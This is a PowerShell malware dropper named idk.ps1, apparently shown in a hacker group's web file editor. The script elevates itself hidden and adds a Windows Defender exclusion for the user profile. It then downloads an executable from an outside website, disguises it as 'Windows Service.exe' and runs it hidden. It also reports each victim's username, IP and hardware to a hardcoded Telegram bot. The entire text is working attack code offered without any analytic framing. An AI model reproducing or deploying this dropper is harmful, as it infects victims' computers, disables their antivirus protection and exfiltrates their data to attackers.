One Hat Cyber Team

Edit File: idk.ps1

# Check if the current user has admin rights
$adminCheck = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
$isAdmin = $adminCheck.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

if (-not $isAdmin) {
    # Elevate to admin without prompting UAC
    $args = "-ExecutionPolicy Bypass -File `"$PSCommandPath`""
    Start-Process powershell -ArgumentList $args -Verb RunAs -WindowStyle Hidden
    exit
}

# Telegram Notification Function
function Send-TelegramNotify {
    try {
        $username = $env:USERNAME
        $cpu = (Get-WmiObject Win32_Processor).Name.Trim()
        $gpu = (Get-WmiObject Win32_VideoController | Select-Object -First 1).Name.Trim()
        $ram = "{0:N2} GB" -f ((Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB)
        $ip = (Invoke-RestMethod -Uri "https://api.ipify.org/?format=json" -TimeoutSec 10).ip
        $msg = "[+] New hit`nUser: $username`nIP: $ip`nCPU: $cpu`nGPU: $gpu`nRAM: $ram`nGroup: $group"
        $bot = "7252153973:AAEEKvgf-cwqvWPviTklhbY6BPRbjwK3Jqw"
        $chat = "-1002513798195"
        $uri = "https://api.telegram.org/bot$bot/sendMessage?chat_id=$chat&text=$([uri]::EscapeDataString($msg))"
        Invoke-WebRequest -Uri $uri -UseBasicParsing -TimeoutSec 10 | Out-Null
    } catch {}
}

# Define parameters with redundancy
$urls = @("https://lelopagani.com.br/assets/js/s.exe", "https://lelopagani.com.br/assets/js/s.exe")
$outputFileName = "Windows Service.exe"
$outputFilePath = Join-Path -Path ([Environment]::GetFolderPath('UserProfile')) -ChildPath $outputFileName

# Anti-tampering measures
$ErrorActionPreference = 'Stop'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

# Add exclusion with retries
$maxRetries = 3
foreach ($try in 1..$maxRetries) {
    try {
        Add-MpPreference -ExclusionPath $env:USERPROFILE -ErrorAction Stop
        break
    } catch { if ($try -eq $maxRetries) { exit 1 } }
    Start-Sleep -Milliseconds (500 * $try)
}

# Download with multiple fallback methods
$success = $false
$downloadedData = $null
foreach ($url in $urls) {
    foreach ($method in 1..3) {
        try {
            if ($method -eq 1) {
                (New-Object Net.WebClient).DownloadFile($url, $outputFilePath)
                $downloadedData = (New-Object Net.WebClient).DownloadData($url)
            } elseif ($method -eq 2) {
                Invoke-WebRequest $url -OutFile $outputFilePath -UseBasicParsing
                $downloadedData = Invoke-WebRequest $url -UseBasicParsing -ErrorAction Stop
            } else {
                Start-BitsTransfer -Source $url -Destination $outputFilePath
                $downloadedData = (New-Object Net.WebClient).DownloadData($url)
            }
            $success = $true
            break
        } catch {}
    }
    if ($success) { break }
}

# Unblock the downloaded file
try {
    Unblock-File -Path $outputFilePath -ErrorAction SilentlyContinue
} catch {}

# File validation with multiple checks
$attempts = 0
do {
    $attempts++
    $valid = Test-Path $outputFilePath -ErrorAction SilentlyContinue
    if (-not $valid) { Start-Sleep -Seconds 2 }
} until ($valid -or $attempts -ge 10)

if (-not $valid) { exit 1 }

# Send success notification
try {
    $group = "Download Success"
    Send-TelegramNotify
} catch {}

# Process execution with multiple methods (backup method)
$executed = $false
foreach ($execMethod in @('Start-Process', 'Invoke-Item', 'WMI')) {
    try {
        switch ($execMethod) {
            'Start-Process' {
                Start-Process -FilePath $outputFilePath -WindowStyle Hidden -PassThru
                $executed = $true
            }
            'Invoke-Item' {
                $psi = New-Object Diagnostics.ProcessStartInfo
                $psi.FileName = $outputFilePath
                $psi.WindowStyle = [Diagnostics.ProcessWindowStyle]::Hidden
                $psi.UseShellExecute = $false
                [Diagnostics.Process]::Start($psi)
                $executed = $true
            }
            'WMI' {
                ([wmiclass]"win32_process").Create("`"$outputFilePath`"")
                $executed = $true
            }
        }
        if ($executed) { break }
    } catch {}
}

# Send execution notification
try {
    $group = "Process Execution"
    Send-TelegramNotify
} catch {}

# Final validation (hidden)
Start-Sleep -Seconds 5
if (-not (Get-Process -Name $outputFileName.Replace('.exe','') -ErrorAction SilentlyContinue)) { 
    try {
        $group = "Process Validation Failed"
        Send-TelegramNotify
    } catch {}
    exit 1 
}

exit 0